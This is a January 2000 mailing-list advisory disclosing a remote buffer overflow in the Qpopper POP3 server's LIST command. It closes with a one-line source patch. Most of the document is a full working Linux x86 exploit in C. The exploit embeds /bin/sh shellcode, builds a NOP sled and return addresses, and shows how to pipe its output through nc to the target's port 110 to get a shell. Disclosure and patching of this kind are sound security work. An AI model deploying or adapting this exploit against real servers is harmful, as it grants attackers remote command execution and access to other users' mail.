Date: Wed, 26 Jan 2000 14:55:11 +0100
From: Zhodiac <[email protected]>
To: [email protected]Subject: Qpopper security bug
!Hispahack Research Team
http://hispahack.ccc.de
Program: Qpopper <= 3.0beta29 (2.53 and olders are not vulnerable)
Platform: *nix
Risk: Remote access
Author: Zhodiac <[email protected]>
Date: 20/1/2000
- Problem:
===========
The, nowadays, so common qpop pop3 server is one of the best server
which implements some features added not in normal pop3d. Like almost all
software it has some security bugs. In this case, once you pass the
login process you can execute malicious code due to a buffer overflow.
With this buffer overflow (second argument of the LIST command) you
can execute malicious code with the uid of the user you logged in, and
with gid mail. Due to have gid mail, in some systems you can read all the
mail of other users and even change/delete it.
- Exploit:
==========
For proof of vulnerability we release the Linux x86 xploit. But be
aware, no public xploit for your system does not mean you can't be
hacked. Vulnerability exists, fix it!
------- qpop-xploit.c ----------
/*
* !Hispahack Research Team
* http://hispahack.ccc.de
*
* By Zhodiac <[email protected]>
*
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
* Overflow at pop_list()->pop_msg()
*
* Tested: 3.0beta28 offset=0
* 3.0beta26 offset=0
* 3.0beta25 offset=0
*
* #include <standar/disclaimer.h>
*
* This code is dedicated to my love [CrAsH]] and to all the people who
* were raided in Spain in the last few days.
*
* Madrid 10/1/2000
*
*/
#include <stdio.h>
#define BUFFERSIZE 1004
#define NOP 0x90
#define OFFSET 0xbfffd9c4
char shellcode[]=
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89"
"\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";
void usage(char *progname) {
fprintf(stderr,"Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110",progname);
exit(1);
}
int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE];
unsigned long *long_ptr,offset=OFFSET;
int aux;
fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
fprintf(stderr,"Qpopper xploit by Zhodiac <[email protected]>\n\n");
if (argc<3) usage(argv[0]);
if (argc==4) offset+=atol(argv[3]);
ptr=buffer;
memset(ptr,0,sizeof(buffer));
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
ptr+=sizeof(buffer)-strlen(shellcode)-16;
memcpy(ptr,shellcode,strlen(shellcode));
ptr+=strlen(shellcode);
long_ptr=(unsigned long*)ptr;
for(aux=0;aux<4;aux++) *(long_ptr++)=offset;
ptr=(char *)long_ptr;
*ptr='\0';
fprintf(stderr,"Buffer size: %d\n",strlen(buffer));
fprintf(stderr,"Offset: 0x%lx\n\n",offset);
printf("USER %s\n",argv[1]);
sleep(1);
printf("PASS %s\n",argv[2]);
sleep(1);
printf("LIST 1 %s\n",buffer);
sleep(1);
printf("uname -a; id\n");
return(0);
}
------- qpop-xploit.c ---------
- Fix:
======
Best solution is to wait for a new patched version, meanwhile here you
have a patch that will stop this attack (be aware that this patch was not
done after a total revision of the code, maybe there are some other
overflows).
------ pop_list.patch ---------
77c77
< return(pop_msg(p, POP_FAILURE,"Unknown LIST argument: %s",
---
> return(pop_msg(p, POP_FAILURE,"Unknown LIST argument: %.128s",
------ pop_list.patch ---------
piscis:~# patch pop_list.c pop_list.patch
piscis:~#
Spain r0x
Greets :)
Zhodiac